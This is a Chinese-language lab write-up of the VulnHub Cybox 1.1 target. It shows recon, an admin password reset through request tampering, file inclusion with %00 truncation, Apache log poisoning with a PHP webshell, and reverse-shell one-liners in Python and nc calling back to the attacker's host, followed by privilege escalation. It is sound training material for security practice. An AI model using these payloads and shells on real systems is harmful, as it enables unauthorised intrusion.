Vulnhub靶机Cybox下载地址 Cybox: 1.1 ~ VulnHub
信息搜集
首先进行靶机ip的发现。
sudo arp-scan -l
接着使用nmap扫描开放的端口,这里使用扫描全部端口和详细信息太慢了,分开检测
命令:nmap -p 21,25,80,110,143,443 -sV -A 192.168.174.147
扫描到的信息如下:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
25/tcp open smtp Postfix smtpd
|_smtp-commands: cybox.Home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=cybox
| Not valid before: 2020-11-10T23:31:36
|_Not valid after: 2030-11-08T23:31:36
80/tcp open http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
|_http-title: CYBOX
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15
110/tcp open pop3 Courier pop3d
|_pop3-capabilities: USER PIPELINING IMPLEMENTATION(Courier Mail Server) TOP LOGIN-DELAY(10) UIDL
143/tcp open imap Courier Imapd (released 2011)
|_imap-capabilities: completed THREAD=REFERENCES THREAD=ORDEREDSUBJECT CAPABILITY IMAP4rev1 ACL CHILDREN NAMESPACE ACL2=UNIONA0001 QUOTA SORT UIDPLUS OK IDLE
443/tcp open ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_http-title: CYBOX
| ssl-cert: Subject: commonName=cybox.company/organizationName=Cybox Company/stateOrProvinceName=New York/countryName=US
| Not valid before: 2020-11-14T15:06:32
|_Not valid after: 2021-11-14T15:06:32
|_ssl-date: 2023-02-20T18:22:42+00:00; +6h15m22s from scanner time.
|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15
Service Info: Host: cybox.Home; OS: Unix
Host script results:
|_clock-skew: 6h15m21s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds
目录扫描
gobuster dir -u http://192.168.174.147/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak
扫描结果如下
除了静态页面 就是assets目录下的一些js,css文件
尝试ftp,不支持匿名访问
在页面的底部发现类似域名的地方,修改hosts文件
sudo vim /etc/hosts
子域名爆破
使用wfuzz进行子域名爆破,扫描到一下几个子域名
wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.174.147' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 489 -c
再把扫描到的子域名加到这个ip当中,再次修改hosts文件
成功显示
在dev的域名中发现phpinfo文件
在register中可以注册
我们的账号和密码都是ycx
在webmail中使用ycx,ycx,成功登录
在register页面使用这个账号密码是无法登录的
进行注册
注册且登录后发现没有什么东西
尝试忘记密码的页面
进行忘记密码,发现页面没反应,但是发送了一封邮件到我们的邮箱当中
进行查看邮件信息
点击链接需要我们直接修改密码即可
使用新密码登录成功
越权漏洞
这里尝试改一下管理员的密码,修改数据包里的用户ycx为admin
发现修改admin的密码成功
可以看到admin的面板(panel)
查看一下源代码
文件包含漏洞
发现有引用
结合抓包的源码进行利用
这里用到了%00进行截断
形成漏洞的原理:
php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取
Linux下%00截断的条件:
magic_quotes_gpc=off php<5.3.4
这个可以在dev泄露的phpinfo中看到确实是关闭的
拿一个简单的代码查看
<?php
$a = $_GET['a'];
include($a.'.html');
?>
默认结尾是html,在这台靶机中这个general引用应该是以css为后缀的
可以看到把/etc/passwd的内容读取了出来
反弹shell
下面尝试getshell
尝试使用apache的默认日志路径
应该是/opt/bitnami/apache2/logs/access_log
这样可以看到apache的访问目录
可以看到这个日志记录了时间和user_agent头信息
接着我们抓包ftp页面,修改user_agent头信息为l love you
再次读取access_log日志,可以发现,已经记录了我们的信息
这里就可以尝试写入一句话木马
<?php system($_GET[‘ycx’]);?>
进行构造payload进行读取
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&ycx=echo%201111111111
可以看到页面输出了1111111111
这里是执行的shell命令,比如我们再执行ifconfig
接下来进行反弹shell
使用python命令来进行反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
也可以使用bash,需要进行url编码:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.128 4444 >/tmp/f
nc打开监听,nc -nvlp 4444,成功接收到shell
切换到交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
提权
查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
看到/opt特殊目录,进行查看
发现是注册用户,我们起名叫root发现已经存在
再次尝试特殊的名字sudo,创建成功
账号和密码都是sudo
进行sudo用户登录,顺便切换成root
只需su sudo和sudo su (root) 即可
切换到root目录下进行查看root文件
总结:
从头再顺一下这个靶机的思路,这台靶机是我在b站看到大福安全的视频学到的,在看完一遍过后虽然已经算是“作弊”,但是做的时候还是有很多的磕绊,比如wfuzz命令用来子域名发现的命令书写,apache2日志目录的位置需要观察phpinfo文件来进行发现而不是默认的安装位置,在反弹shell可以利用python也可以利用大福师傅的笔记中的bash命令,最后的提权巧用sudo用户进行提权。不管做了多少靶机(虽然我也没做多少呢),感觉每个靶机都能学到新的东西,所以不能手懒,加油咯。